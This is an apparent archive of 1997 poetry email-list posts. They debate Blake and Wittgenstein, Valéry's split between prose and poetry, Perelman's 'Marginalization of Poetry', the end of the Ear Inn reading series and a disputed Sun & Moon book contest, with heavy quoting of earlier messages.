Duemer, interjecting: I originally put Blake and Witt. together because they are both *interested* in the limits of language, with what in fact can be said, and what, famously, "we must pass over in silence." On a larger scale, I've been thinking through as best I can relationships between Romanticism, especially Brit., and the various things that get called postmodernism, with the sneaking suspicion that some of the same psychic sources are responsible. Which is fine by me. Blake, for all his proclaiming style, is at heart an aphorist, and so is Wittgenstein & there is something in the "propositional" style that unites them, though they would, could they meet, be invisible to one another. Wittgenstein says somewhere in the _Tractatus_ "The sense of the would lies outside the world," and that anti-essentialism shows up, I think, in Blake's anti-christian mythology, which as Laura rightly says, remains radically open. So: I see Blake and Witt. playing parallel games. Or the same game in separate dimensions.

> *Please elaborate: I would like to hear how Duchamp fits in.*
>
> *Regarding the Jameson you introduce: that is a great quote, and a beautiful sentence. Bakhtin replaces dialectic with dialogic, because there is no solution between such forces; as in dialog there is no guarantee they listen to or hear each other.*
>
> *Matthias*

--

Joseph Duemer
School of Liberal Arts
Clarkson University

Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

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831. Mark Baker
Re: Pie Barrage
Tue 27 May 1997

A confederate, yes Jordan--no sound's dissonant which
tells, in this our list-tree bower. I did too much
for J, and too little for STC, putting one in place
of the other. Gratuitous, like doing in an albatross.
And an agony constraineth me to travel from post to
post 'til you clear up my possibly banal
misunderstanding of who's got the resentment and
what the confirmed cases (J's readers?) reject cures for.

Mark Baker

Jordan Davis wrote:
>
> In what way Mark Baker is Federal Jameson
> supposed to be like Coleridge? C. obfuscates
> fudges diverges circumambulates etc _not_
> in the service of a banal misunderstanding
> as it usually sounds to me Jameson does
> but rather avoids ever onward the lime
> tree bower his prison? Key is I think
> to sympathize. Jameson don't. Nor do Spivak.
> Ergo resentment and outsider therapy
> the which cures nothing for confirmed cases
> but there we are hopping among the hybrid
> later readers of which yes you seem to be
> a confederate. Is it true the Ear's over?
> K,
> J

↑ Index

832. **Piombino/Simon**

Re: Pie Barrage

Tue 27 May 1997

Yes, very sadly true that the Ear Series, sponsored by the Segue Foundation, has ended its run of 18 years. The series is slated to continue, from what I hear, at the Here Cafe on Spring Street and 6th Avenue probably in October.Over the years, attendees have more and more complained about the acoustics, in every sense of that word. The series was invited in partly to pick up the bar and restaurant business on slow Saturday afternoons. What grew into a very workable symbiosis for many years,finally faded in its effectiveness when due to inceasing success of the restaurant and bar biz, the acoustic, attentional situation has become unworkable for vitually every poet who reads there. I can vouch for the fact that no stone was left unturned in trying to work things out with the Ear management, discussions that went on for many years. The finale included Leslie Scalapino and Steve Benson reading with sax sideman David Barrett, in a touching and thought provoking, personal yet linguistic and lyrical long wailin' improv which for me was a cosmic journey through an endless procession of Ear Inn mailers from Segue under magnets on the fridge starting in 1979 and continuing until Saturday, May 24, 1997. Best wishes, Nick P. On Tue, 27 May 1997, Jordan Davis wrote:

> *In what way Mark Baker is Federal Jameson*
> *supposed to be like Coleridge? C. obfuscates*
> *fudges diverges circumambulates etc _not_*
> *in the service of a banal misunderstanding*
> *as it usually sounds to me Jameson does*
> *but rather avoids ever onward the lime*
> *tree bower his prison? Key is I think*
> *to sympathize. Jameson don't. Nor do Spivak.*
> *Ergo resentment and outsider therapy*
> *the which cures nothing for confirmed cases*
> *but there we are hopping among the hybrid*
> *later readers of which yes you seem to be*
> *a confederate. Is it true the Ear's over?*
> *K,*
> *J*

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833. **Marjorie Perloff**
Re: Center for Contemporary Arts, Inc.
Wed 28 May 1997

The Center for Contemporary Arts IS Sun & Moon. There's no distinction.

Marjorie Perloff

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834. **Piombino/Simon**
Re: Pie Barrage
Wed 28 May 1997

Sorry that I neglected to note in my previous post about the Ear Inn that it is located in Manhattan (New York, N.Y.) at 326 Spring Street. The Here Cafe,is located at Spring and Avenue of the Americas (6th Avenue).

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835. **dbkk**
Re: Book Contests/AN IDEA
Wed 28 May 1997

At 4:04 PM -0400 5/27/97, Stephen Vincent wrote:
>When I started this thread,
>I had no intention of seeing
>it become what might be
>currently interpreted as an
>attack etc. on Doug Messerli
>and/or Sun & Moon.

I don't see how my giving an accurate account of my personal experiences is construed as an attack by you, Mr. Vincent.

Dodie

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836. **Thomas M. Orange**
bad writing, voice, valery
Wed 28 May 1997

---

i'm uncertain of the terrain being staked here: where the poetry/prose distinctions come from in valery, poetry "doing its job" vis-a-vis prose, the locus of a "surplus," etc:

a poem is a discourse that demands and induces a continuous connection between the voice that is and the voice that is coming and must come. and this voice must be such as to command a hearing, and call forth an emotional state of which the text is the sole verbal expression. take away the voice -- the right voice -- and the whole thing becomes arbitrary. (opening lecture of the course in poetics, 1937)

tho as to style, i don't think valery wants to link it to meaning: thought has no style, or as he says further:

what makes the style is not merely the mind applied to a particular action; it is the whole of a living system expended, imprinted, and made recognizable in expressions. it is compounded of consciousness and unconsciousness, of spontaneity and effort; and sometimes calcualtion enters in. ("style," 1945)

not sure where to go hence...
tom.

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837. **Brent Long**
Re: Book Contests/AN IDEA
Wed 28 May 1997

[redacted] wrote:
>
> At 4:04 PM -0400 5/27/97, Stephen Vincent wrote:
> >When I started this thread,
> >I had no intention of seeing
> >it become what might be
> >currently interpreted as an
> >attack etc. on Doug Messerli
> >and/or Sun & Moon.
>
> I don't see how my giving an accurate account of my personal experiences is
> construed as an attack by you, Mr. Vincent.
>
> Dodie
well, maybe they just didn't like what you submitted.

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838. **Mark Prejsnar**
Harsh words and marginalizations
Wed 28 May 1997

Nick, everything you say is fair...Now I really didn't mean to be very attacking, using the term weirded out and all..But I accept all that you say below as pretty reasonable and fair; it seems to me (and it's far from the first time, for me!) that we've each slightly misheard the other's intended tone (..in both cases, taking it to be harsher than intended). To be quite frank, I was using you a little bit as a straw man (...straw poet? straw critic?..)--I was using the occasion of your post to respond to a general trend I thought I detected in several responses to Marginalization, which I've seen in print as well as in cyberspace. So...I still feel I've detected a trend which is really there, and that my comments may be apposite, in a general way...But I acknowledge that your point was more nuanced than I realized..And as a musician manque (a jazz bassist, in fact--Henry G!) who has always been maybe excessively responsive to aural swing, I'm ready to go along with your point about chops, very whole-heartedly..(whole-ear'd'ly)..

regards, Mark

On Tue, 27 May 1997, Piombino/Simon wrote:

> *Mark P. I wonder how carefully you read what I wrote. I certainly didn't accuse Perelman of being condemnatory or any such thing. I'm afraid you found nothing subtle in my remarks- perhaps this is my fault- but you seem to take me dead seriously- in spite of my frequent caveats about not having the texts in front of me. My- now seemingly trivial point- was simply that Perelman seems to miss their "chops" - a word defined in a posting on here some time ago. What I found strange about Perelman's critique,*
> *again, had more to do with what it would sound like if Ornette Coleman commented on John Coltrane for being dissonant. Again, please let me come back with specific quotes. Maybe I'm completely off here. You have challenged me to clarify and defend my off the cuff remarks.By the way, if you think it is so useful to be confrontative, why are you so "wierded out" by my rather gentle critique of Perelman? After all, I do imply he's a pretty good poet by comparing him with DeKooning.*
> *Best*
> *wishes, Nick P.On Tue, 27 May 1997, Mark Prejsnar wrote:*
>
> *On Sun, 25 May 1997, Piombino/Simon wrote:*
>
> *Perelman's mature work, and maybe even his immature work, as a poet emerged) he critiques both Andrews and*
> *Bernstein (here's where would be nicer to quote, and unfortunately I can't at the moment) for being less than coherent, let us say, orderly and meaningful in ways that might have significant and useful social*

value.
In short, he apparently is accusing them of publishing works that have aspects of being nonsensical! Without intending to be overly flattering, this is
like DeKooning accusing Pollack of being vague and ambiguous, pot accusing the kettle, etc. So the

I keep getting very weirded out by public comments on Perelman's Marginalization.....At first, I just thought it was a question of my own reading habits versus those of others...But now I think maybe something more important is going on...So, for what it's worth:

*Many responses to Perelman's book have said essentially the same as above: that his treatment of Andrews and (esp.'y) Bernstein is harsh, dismissive, highly unsympathetic. I don't get it. Personally I find this reading of the tone and substance of the passages in question mind-boggling...They are not that negative, to put it mildly..Since most of the principles in this case are hanging around the List, there's plenty of room for further input, from people much closer to this issue than me. I'll just point out what has come to really disturb me about this (so that I finally felt like putting in my $.02): I wonder whether reviewing and critical habits among many of us, have skewed our ability to read tone and intention in some poetry criticism. Most of us most of the time, concentrate on publishing or posting responses to poetry we **like** and want to support....There is an ethos of positive response, you could almost say (my background showing) solidarity, nonsectarian and generous, toward those poets we feel affinities with..This is very much the way it ought to be, not least because resources are scarce, and the path usually pretty tough for most poets trying to find enough support to just keep on...But have we blunted our tolerance for careful and specific criticism??? I find the treatment of Andrews and CB fair and sympathetic and very subtle, and not primarily dismissive or condemnatory of their poetry..Quite the contrary; but it certainly is about identifying tensions and contradictions in their work.*
I make public comments in print and in cyberspace about other poets, and start to feel a little anxious, if there is such a widespread perception that modulated discussions like BP's are attacks, just because they aren't entirely laudatory...

Mark P.

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839. Mark Prejsnar
North, left, and right of the border
Wed 28 May 1997

I should disapprove; in general on principle I like the list to stick to poetry-related topix...But as an activist I've found the Canada thread absolutely fascinating and very informative..Thanx folks...

Mark P.
Atlanta

On Tue, 27 May 1997, Douglas Barbour wrote:

> *I think Robert Archambeau hits a lot of nails right on their heads. We probably should get back to poetry (but politics is always there/in), & backchannel more on this rotten state topic (except that I read everything in the digest & enjoy the range). Andrew John Miller's latest post does make some necessary points; but:*
>
> *Yeah Reform has somehow taken the lead in representing western alienation, & done so by misrepresenting the politics of (dis) connection. It may do some good (it will elect quite a few people) waking Ottawa up to the fact that, as it has said, "The West wants in!" (but too many people arent seeing that they also want to destroy that which we apparently want in on). I still fear what they would do with power. The leader is a dogmatist (& the message, finally, is exclusive not inclusive [& Joe was dead on about all that]) & I always come back to bpNichol's palindrome on that -- "dogma I am god".*
>
> *I hope for a wider range of representation than we now have, but I aint holding my breath...*
>
> *==========*
> *Douglas Barbour I see*
> *Department of English only*
>
> *University of Alberta through the touching of*
> *Edmonton Alberta T6G 2E5 the light*
> *[redacted] FAX:[redacted] Luce Irigaray*
> *H: [redacted]*

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840. **Jordan Davis**
Re: Pie Barrage
Wed 28 May 1997

Fair use of form, Mark, and so please stay me a moment more from the stone church (mistaking agony for indifference Poe reviews himself). I had meant that species of thought poetry paranoia, a social block. Readers who feel it often write, opening new interiors occasionally, often though throwing only pies. J's book on Shklovsky's not so bad, eh? Is the blanket warm? Might as well ask anyone their motives in gossiping -- loshar haron. In brief, an essay called Stamina Linguist, a sympathetic appraisal appeared in Poetry Flap. In it Time Clock wrote excitedly of the possibilities of equalizing the mix so the lead singer's quieter. Everybody dreamed. Not far later Federal J evaluated Anonymous (or The Pearl Poet). Grunge sprung up from R.E.M. and the Pixies of which everybody spoke reverently (though only certain albums). For a while there was only grunge. The web is like four now. The earth cooled. Suddenly there were thousands of tiny writers crawling over the surface of the earth, and among them, glowing readers. Thank you, readers. J

On Tue, 27 May 1997, Mark Baker wrote:

> *A confederate, yes Jordan--no sound's dissonant which*
> *tells, in this our list-tree bower. I did too much*
> *for J, and too little for STC, putting one in place*
> *of the other. Gratuitous, like doing in an albatross.*
> *And an agony constraineth me to travel from post to*
> *post 'til you clear up my possibly banal*
> *misunderstanding of who's got the resentment and*
> *what the confirmed cases (J's readers?) reject cures for.*
>
> *Mark Baker*
>
>
> *Jordan Davis wrote:*
>
> *In what way Mark Baker is Federal Jameson*
> *supposed to be like Coleridge? C. obfuscates*
> *fudges diverges circumambulates etc _not_*
> *in the service of a banal misunderstanding*
> *as it usually sounds to me Jameson does*
> *but rather avoids ever onward the lime*
> *tree bower his prison? Key is I think*
> *to sympathize. Jameson don't. Nor do Spivak.*
> *Ergo resentment and outsider therapy*
> *the which cures nothing for confirmed cases*
> *but there we are hopping among the hybrid*
> *later readers of which yes you seem to be*

> *a confederate. Is it true the Ear's over?*
> *K,*
> *J*

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841. **Pritchett,Pat**
Re: Fwd: Bad Writing
Wed 28 May 1997

I think Valery's exact equation (in "Poetry & Abstract Thought") was:

Prose : Walking : : Poetry : Dancing (or Streaking)

But surely the prose he has in mind here is the prose of the daily paper, a technical manual, the racing form, or what have you. Not the prose of Melville or Sir Thomas Browne which we can and do re-read. We don't re-read our favorite novels simply to relish the hazards of a foregone plot, do we? Though that does play a role, to be sure (esp. the older one gets...). Dickens' first descriptions of Pip entering Miss Haversham's room will always stay with me and has, thus far, always been a pleasure to revisit as a kind of prose-poem of childhood terror. The meaning, or rather, the emotion of the scene, certainly can't be leeched away from a single reading.

Patrick Pritchett

From: Henry
To: POETICS
Subject: Re: Fwd: Bad Writing
Date: Tuesday, May 27, 1997 3:47PM

I'd like to go back to Valery's distinction between prose discourse and poetry (I'd like to, but I don't have it very secure in memory or in front of me on the page...). Prose does its job when the meaning is delivered; the language is functional. Poetry exhibits a pendulum effect - the mind absorbs the conceptual elements but swings back to the "unforgettable" surplus whole which is the poem itself. Seems to me he's onto something there. Sure we can talk about a philosopher or critic's style; style is like clothing - it's on the exact borderline between irrelevant and necessary for life; poetry, on the other hand, is a form of streaking. How's that for non-stylish discourse? - Henry Gould

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842. **Pritchett,Pat**
Re: Fwd: Bad Writing
Wed 28 May 1997

I'm all for the virtues of clarity, but I'm not sure I agree with this, Mark. It's always seemed to me that original or powerful or compelling writers force the reader to expand by learning how to read their work -- which often appears difficult at first, and perhaps is out of the need to break from what has proceeded it -- and that this, in part, constitutes what we mean by reading. Which is not to justify obscurantism or defend prolixity.

Patrick Pritchett

From: Mark Weiss
To: POETICS
Subject: Re: Fwd: Bad Writing
Date: Tuesday, May 27, 1997 4:00PM

morte difficult than pound and wyatt, less so than learning latin or japanese. But maybe even the comparison with the latter makes the point: a sympathetic and educated reader shouldn't have to translate from his own language unless there's a damn good reason--a hard case to make for anyone's first sentence in any book. To the degree that the first sentence is opaque the writer must be limiting his audience to those who have learned his code from previous books. That can make for a cozy club, but why shouldn't a newcomer, rather than paying the entry fee, go somewhere else for his amusement?

> And another thought: as joe mentioned, 'good' and 'bad' need to be
>underscored as relative--so too 'difficult'. What is 'difficult'? Is
reading
>Jameson's sentence 'difficult'? Compared to...learning latin, reading a
>sentence in Japanese, etc.? Compared to chunks of P's Cantos, or Wyatt in
>the original? It is a challenge; often a pleasant one.
>
>Matthias
>
>

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843. **Pritchett,Pat**
Re: world-egg salad
Wed 28 May 1997

Oh dear oh dear. Don't mean to be coming at you with hammer and tongs old fellow. More a case of your ruminations setting off ones of my own, not so much responses as tangential flights. I vaguely recall the pendulum effect - will have to dig up the info at home later. ANYHOW - I quite see YOUR distinction and am happy to say YES that seems about right. All of this reminds me of what Jung said about science and religiion - namely, that they are each in pursuit of the same thing - just different methods. To me, all philosophy begins with an intuition. It then proceeds to justify that intuition by analytical means. Whereas poesy ain't got no truck with those means - don't need it, never did.

"There was a duality of which one member is called the ineffable and the other is called silence."

- Valentinus
  (_The Gnostic Scriptures_, trans. Bentley Layton)

Pass the pepper.
Patrick Pritchett

From: henry
To: Pritchett,Pat @Silverplume
Subject: Re: Fwd: Bad Writing
Date: Wednesday, May 28, 1997 10:00AM

I don't seem to have the ammo today to defend this hopeless position! The prose/walk//poetry/dance equation wasn't the one I was thinking of, there's a particular passage somewhere on the pendulum effect... sorry folks, I'm at work, it ain't handy... But I don't even want to argue the prose poetry distinction... there's prose that acts like poetry (swinging us around) but it will never be as precise & nuanced...blah blah blah... we is the rational animal... the rational/animal... philosophy LEANS to the rational (the scientific demonstration), poetry LEANS to the animal (the ballet demonstration)... I LEAN over the bar Tennyson, anyone? - Henny Penny

p.s. I love to sit by the hearth & read the _Philosophical Queries & Sundry Dry Goods_ of Elton S. Sandustmundt... keep coming back again and again to his Fourth Precept on the Ratiocinative World-Egg Salad...

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844. **Piombino/Simon**
Re: Pie Barrage (Rough Margins)
Wed 28 May 1997

Thanks, Mark, for your thoughtful response to my last "Pie Barrage." Charles Bernstein mentioned to me regarding the issue of tone on the poetics list that "there have been studies" which demonstrate that there is an overall tendency to read posts on lists such as ours as more harsh than intended. I did see a review of Bob Perelman's "The Marginalization of Poetry: Language Writing and Literary History" (Princeton University Press,$15.95) in Witz, Spring 1997,by Susan M. Schultz.This review, for me, does not at all put out a harsh tone, but it does take issue with Perelman's treatment of Bernstein's work, with many quotes. She makes a case for Perelman's setting up Bernstein and Silliman as antagonists noting "If Bernstein, then, is the primary contemporary fall guy, straw man, utopian paradoxicalist, Ron Silliman is the poet hero of Perelman's book...Perelman makes the point even more ascerbically when he maintains that Silliman does not 'attempt to highlight the pathos (and humor) of a separation of art from life,or poetry from philosophy,' which seems to me to be a direct dig at Bernstein's manic wit, though Perelman does prefer Bernstein's more recent work because he thinks that Bernstein is now committing himself more clearly to 'a poetics.'" The review concludes, however, with the statement "But whether or not one agrees with Perelman's specific arguments, the book marks an important moment in the literary history of contemporary poetry. it should open up much needed discussions between language writers about issues that are too often taken for granted-issues like how to build and extend community, and how to think about the relationship between poetic form and actual-not just theoretical-politics. Perelman will make some members of his audience angry, but that is a good thing, as any contentious academic will let you know." Witz may be reached at [redacted]. Best wishes, Nick P.On Wed, 28 May 1997, Mark Prejsnar wrote:

> *Nick, everything you say is fair...Now I really didn't mean to be very attacking, using the term weirded out and all..But I accept all that you say below as pretty reasonable and fair; it seems to me (and it's far from the first time, for me!) that we've each slightly misheard the other's intended tone (..in both cases, taking it to be harsher than intended). To be quite frank, I was using you a little bit as a straw man (...straw poet? straw critic?..)--I was using the occasion of your post to respond to a general trend I thought I detected in several responses to Marginalization, which I've seen in print as well as in cyberspace. So...I still feel I've detected a trend which is really there, and that my comments may be apposite, in a general way...But I acknowledge that your point was more nuanced than I realized..And as a musician manque (a jazz bassist, in fact--Henry G!) who has always been maybe excessively responsive to aural swing, I'm ready to go along with your point about*

chops, very whole-heartedly..(whole-ear'd'ly)..

regards, Mark

On Tue, 27 May 1997, Piombino/Simon wrote:

Mark P. I wonder how carefully you read what I wrote. I certainly didn't accuse Perelman of being condemnatory or any such thing. I'm afraid you found nothing subtle in my remarks- perhaps this is my fault- but you seem to take me dead seriously- in spite of my frequent caveats about not having the texts in front of me. My- now seemingly trivial point- was simply that Perelman seems to miss their "chops" - a word defined in a posting on here some time ago. What I found strange about Perelman's critique,
again, had more to do with what it would sound like if Ornette Coleman commented on John Coltrane for being dissonant. Again, please let me come back with specific quotes. Maybe I'm completely off here. You have challenged me to clarify and defend my off the cuff remarks.By the way, if you think it is so useful to be confrontative, why are you so "wierded out" by my rather gentle critique of Perelman? After all, I do imply he's a pretty good poet by comparing him with DeKooning.
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In short, he apparently is accusing them of publishing works that have aspects of being nonsensical! Without intending to be overly flattering, this is
like DeKooning accusing Pollack of being vague and ambiguous, pot accusing the kettle, etc. So the

I keep getting very weirded out by public comments on Perelman's Marginalization.....At first, I just thought it was a question of my own reading habits versus those of others...But now I think maybe something more important is going on...So, for what it's worth:

Many responses to Perelman's book have said essentially the same as above: that his treatment of Andrews and (esp.'y) Bernstein is harsh, dismissive, highly unsympathetic. I don't get it. Personally I find this reading of

> *the tone and substance of the passages in question mind-boggling...They are not that negative, to put it mildly..Since most of the principles in this case are hanging around the List, there's plenty of room for further input, from people much closer to this issue than me. I'll just point out what has come to really disturb me about this (so that I finally felt like putting in my $.02): I wonder whether reviewing and critical habits among many of us, have skewed our ability to read tone and intention in some poetry criticism. Most of us most of the time, concentrate on publishing or posting responses to poetry we **like** and want to support....There is an ethos of positive response, you could almost say (my background showing) solidarity, nonsectarian and generous, toward those poets we feel affinities with..This is very much the way it ought to be, not least because resources are scarce, and the path usually pretty tough for most poets trying to find enough support to just keep on...But have we blunted our tolerance for careful and specific criticism??? I find the treatment of Andrews and CB fair and sympathetic and very subtle, and not primarily dismissive or condemnatory of their poetry..Quite the contrary; but it certainly is about identifying tensions and contradictions in their work. I make public comments in print and in cyberspace about other poets, and start to feel a little anxious, if there is such a widespread perception that modulated discussions like BP's are attacks, just because they aren't entirely laudatory...*
>
> *Mark P.*

↑ Index

845. **Peter Landers**

Re: Book Contests/AN IDEA

Wed 28 May 1997

Well, Dodie wants her money back. She sees plots. All I know is that we're better off with Sun & Moon Press and Douglas Messerli than without him. There were some really exciting ventures before it, mostly 'zines, but you have to put a perfect binding on the book to get people to buy it. That costs, and Dodie knows it. She works for a distributor (SPD). There were ventures... Grossinger published some good early work, and so did Quasha, but you should have seen some of the other books that were coming out, glue disintegrating on the shelf, rusty staples. It's good to have a nice cover and I think it's necessary to connect

the present to the past. People who go there to find Djuna Barnes might discover Ron Silliman for the first time. Dodie, perhaps you can think of your $25 as upkeep for Djuna Barnes. I think the contest is a *good* way to make it work. Perhaps Messerli wasn't happy with the person he got to read the manuscripts. It's too bad there are ruffled feathers, but I still think the contest is a great idea.

Pete Landers

p.s. yeah, there was also Coach House up north...

↑ Index

846. **dbkk**
Re: Book Contests/AN IDEA
Wed 28 May 1997

At 12:07 PM -0400 5/28/97, Peter Landers wrote:

> *Well, Dodie wants her money back. She sees plots. All I know is that we're better off with Sun & Moon Press and Douglas Messerli than without him. There were some really exciting ventures before it, mostly 'zines, but you have to put a perfect binding on the book to get people to buy it. That costs, and Dodie knows it. She works for a distributor (SPD).*

This is false. I do not work for SPD.

> *Perhaps*
> *Messerli wasn't happy with the person he got to read the manuscripts. It's too bad there are ruffled feathers, but I still think the contest is a great idea.*

This is so bogus, it's amazing. To advertise something one way, to urge somebody to send you money under one pretext and then to not follow through with what you announced--with no explanation given--this is a total lack of accountability, Djuna Barnes or no Djuna Barnes.

Dodie

↑ Index

847. **amato**
Re: Book Contests/AN IDEA
Wed 28 May 1997

---

aw shucks folks, and with due regard for everybody around here: if we can slam-dunk the awp-jorie graham situation, some of us anyway, i don't see why we should be any less tough on sun & moon... i too have a number of s & m editions lining my shelves (for which i am grateful), but when it comes to plunking down 25 bucks for a contest, i like to think that it's not an inside-job... now

dodie didn't say that it was, and in fact i didn't hear 'sour grapes' in what she posted... though she did suggest that the contest was not handled as up-front as it might have been...

i can already hear some folks saying, 'but you get what you pays for'---you come at poetry this way, it's already a compromise... still, none of this has to be reduced to name-calling, or rumor-mongering, or whatever... and it doesn't really matter how the thread began... we come to these spaces for all sortsa reasons, and airing difficulties wrt a poetry contest is, in my view, fair game... the point is that these spaces *can* open up helpful modulations of public to private, and this includes public contests, and personal experiences of same... (i might digress here wrt how such spaces can be used to inflect confidentiality in academe, which latter is supposed to "protect" people, yet in many cases does just the opposite---but not to worry, i won't!...)...

you may recall, some of you, it was douglas messerli himself who, last year sometime, here on poetix, dismissed the choice of the nobel committee for the laureate in poetry... ok, so now it's his turn, not to defend his choice perhaps, but perhaps to make the s & m contest rules a bit clearer... and mebbe someday -- though i hope not! -- it'll be *my* turn...

nothing holier-than-thou implied or intended, but what's good for the goose is good for the gander, no?...

best,

joe

↑ Index

848. **amato**
how lists work...
Wed 28 May 1997

---

for those so inclined, who care to pursue this matter of how these lists tend to work, here's an academic article/journal that i'd highly recommend: the journal _computers and composition_, vol. 13, no. 3 (1996), has an outstanding piece on the online list techwr-l, a tech writing list that serves both academics who teach tech writing and professional writers... the essay details how, over time, the discussion on that list was curtailed---very perceptive as to rhetorical effects and such like... entitled "policing ourselves: defining the boundaries of appropriate discussion in online forums," by johndan johnson-eilola and stuart a. selber...

best,

joe

↑ Index

849. **dbkk**
Re: Book Contests/AN IDEA
Wed 28 May 1997

At 12:14 PM -0500 5/28/97, [redacted] wrote:
> now dodie didn't say that it was, and in fact i didn't hear
>'sour grapes' in what she posted... though she did suggest that the contest
>was not handled as up-front as it might have been...

Thanks for the support Joe. I was beginning to feel as dumped on as a Congressional babe who files sexual harrassment charges. The old boys' network exclaims, "He voted in favor of welfare reform! He would never stick his thing . . ."

Dodie

↑ Index

850. **David Bromige**
S & M, CHB
Wed 28 May 1997

Peter, what is the title of S & M's Silliman book? Or are you thinking of _The Other Side of the Century_ as where the Djuna Barnes-led reader might find Ron?

Coach House : there was, and there is again: Coach House Books. Haven't the e-ddress in front of me, but your webcrawler should deliver. David

↑ Index

851. **aerialedge**
Re: Pie Barrage
Wed 28 May 1997

Dear durables,

in this this list is there not thinking at things thinned out around deceased possesion. what I mean to say is perishable already with a bold irksome cut.

(chorous)

but having should in which the spectator does has discovered the weird contrast on account of. itself in account of. a continuous mingled antithesis. needy.

actually grunge sprung from husks & replacements, its enormous diffusion among all peoples "in morning's low-pitched beach"

xes frm bs,
r

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852. Dan Machlin
David Shapiro/Elaine Equi/Star Black
Wed 28 May 1997

DAVID SHAPIRO
ELAINE EQUI
reading

Sunday, June 8th 6:00 P.M., Admission $5.00
SEGUE PERFORMANCE SPACE
303 East 8th Street, NY, NY
(Between AVES B&C)

As part of an installation of a series of works-on-paper/text studies by Star Black on the walls of the Performance Space, Installation Exhibited June 8th 3:00-6:00 PM, Reading 6:00 PM-8:00 PM

A reception will follow the reading.

THE SEGUE FOUNDATION 20th ANNIVERSARY (1977-1997)

↑ Index

853. Mark Prejsnar
Re: Pie Barrage (Rough Margins)
Wed 28 May 1997

Thanx for the thoughtful reply...At this point we (you, I and Susan, in fact) may just have to agree to disagree. Susan's review was excellent, I thought, but I do indeed consider that review to be one of the treatments of BP I was responding to...That is to say, I definitely don't read Perelman's nuanced discussion of CB as being as critical as I hear her saying. Yes, there are quotations..We obviously disagree somewhat about just what those passages are saying (or implying..)..

regards,
Mark

On Wed, 28 May 1997, Piombino/Simon wrote:

> *Thanks, Mark, for your thoughtful response to my last "Pie Barrage."*
> *Charles Bernstein mentioned to me regarding the issue of tone on the poetics list that "there have been*
> *studies" which demonstrate that there is an overall tendency to read posts on lists such as ours as more harsh than intended.*
> *I did see a review of Bob Perelman's "The Marginalization of Poetry: Language Writing and Literary History" (Princeton University Press,$15.95) in Witz, Spring 1997,by Susan M. Schultz.This review, for*

me, does not at all put out a harsh tone, but it does take issue with Perelman's treatment of Bernstein's work, with many quotes. She makes a case for Perelman's setting up Bernstein and Silliman as antagonists noting "If Bernstein, then, is the primary contemporary fall guy, straw man, utopian paradoxicalist, Ron Silliman is the poet hero of Perelman's book...Perelman makes the point even more ascerbically when he maintains that Silliman does not 'attempt to highlight the pathos (and humor) of a separation of art from life,or poetry from philosophy,' which seems to me to be a direct dig at Bernstein's manic wit, though Perelman does prefer Bernstein's more recent work because he thinks that Bernstein is now committing himself more clearly to 'a poetics.'"
The review concludes, however, with the statement "But whether or not one agrees with Perelman's specific arguments, the book marks an important moment in the literary history of contemporary poetry. it should open up much needed discussions between language writers about issues that are too often taken for granted-issues like how to build and extend community, and how to think about the relationship between poetic form and actual-not just theoretical-politics. Perelman will make some members of his audience angry, but that is a good thing, as any contentious academic will let you know."
Witz may be reached at [redacted].
Best wishes,
Nick P.On Wed, 28 May 1997, Mark Prejsnar wrote:

Nick, everything you say is fair...Now I really didn't mean to be very attacking, using the term weirded out and all..But I accept all that you say below as pretty reasonable and fair; it seems to me (and it's far from the first time, for me!) that we've each slightly misheard the other's intended tone (..in both cases, taking it to be harsher than intended).
To be quite frank, I was using you a little bit as a straw man (...straw poet? straw critic?..)--I was using the occasion of your post to respond to a general trend I thought I detected in several responses to Marginalization, which I've seen in print as well as in cyberspace.
So...I still feel I've detected a trend which is really there, and that my comments may be apposite, in a general way...But I acknowledge that your point was more nuanced than I realized..And as a musician manque (a jazz bassist, in fact--Henry G!) who has always been maybe excessively responsive to aural swing, I'm ready to go along with your point about chops, very whole-heartedly..(whole-ear'd'ly)..

regards, Mark

On Tue, 27 May 1997, Piombino/Simon wrote:

Mark P. I wonder how carefully you read what I wrote. I certainly didn't accuse Perelman of being condemnatory or any such thing. I'm afraid you

found nothing subtle in my remarks- perhaps this is my fault- but you seem to take me dead seriously- in spite of my frequent caveats about not having the texts in front of me. My- now seemingly trivial point- was simply that Perelman seems to miss their "chops" - a word defined in a posting on here some time ago. What I found strange about Perelman's critique,
again, had more to do with what it would sound like if Ornette Coleman commented on John Coltrane for being dissonant. Again, please let me come back with specific quotes. Maybe I'm completely off here. You have challenged me to clarify and defend my off the cuff remarks.By the way, if you think it is so useful to be confrontative, why are you so "wierded out" by my rather gentle critique of Perelman? After all, I do imply he's a pretty good poet by comparing him with DeKooning.
Best
wishes, Nick P.On Tue, 27 May 1997, Mark Prejsnar wrote:

On Sun, 25 May 1997, Piombino/Simon wrote:

Perelman's mature work, and maybe even his immature work, as a poet emerged) he critiques both Andrews and
Bernstein (here's where would be nicer to quote, and unfortunately I can't at the moment) for being less than coherent, let us say, orderly and meaningful in ways that might have significant and useful social value.
In short, he apparently is accusing them of publishing works that have aspects of being nonsensical! Without intending to be overly flattering, this is
like DeKooning accusing Pollack of being vague and ambiguous, pot accusing the kettle, etc. So the

I keep getting very weirded out by public comments on Perelman's Marginalization.....At first, I just thought it was a question of my own reading habits versus those of others...But now I think maybe something more important is going on...So, for what it's worth:

*Many responses to Perelman's book have said essentially the same as above: that his treatment of Andrews and (esp.'y) Bernstein is harsh, dismissive, highly unsympathetic. I don't get it. Personally I find this reading of the tone and substance of the passages in question mind-boggling...They are not that negative, to put it mildly..Since most of the principles in this case are hanging around the List, there's plenty of room for further input, from people much closer to this issue than me. I'll just point out what has come to really disturb me about this (so that I finally felt like putting in my $.02): I wonder whether reviewing and critical habits among many of us, have skewed our ability to read tone and intention in some poetry criticism. Most of us most of the time, concentrate on publishing or posting responses to poetry we **like** and want to support....There is*

> *an ethos of positive response, you could almost say (my background showing) solidarity, nonsectarian and generous, toward those poets we feel affinities with..This is very much the way it ought to be, not least because resources are scarce, and the path usually pretty tough for most poets trying to find enough support to just keep on...But have we blunted our tolerance for careful and specific criticism??? I find the treatment of Andrews and CB fair and sympathetic and very subtle, and not primarily dismissive or condemnatory of their poetry..Quite the contrary; but it certainly is about identifying tensions and contradictions in their work. I make public comments in print and in cyberspace about other poets, and start to feel a little anxious, if there is such a widespread perception that modulated discussions like BP's are attacks, just because they aren't entirely laudatory...*
>
> *Mark P.*

↑ Index

854. **Henry Gould**
Re: Pie Barrage
Wed 28 May 1997

If one of these pies hits home plate, is that pie squared?

Do pigeons?

↑ Index

855. **sschu30844**
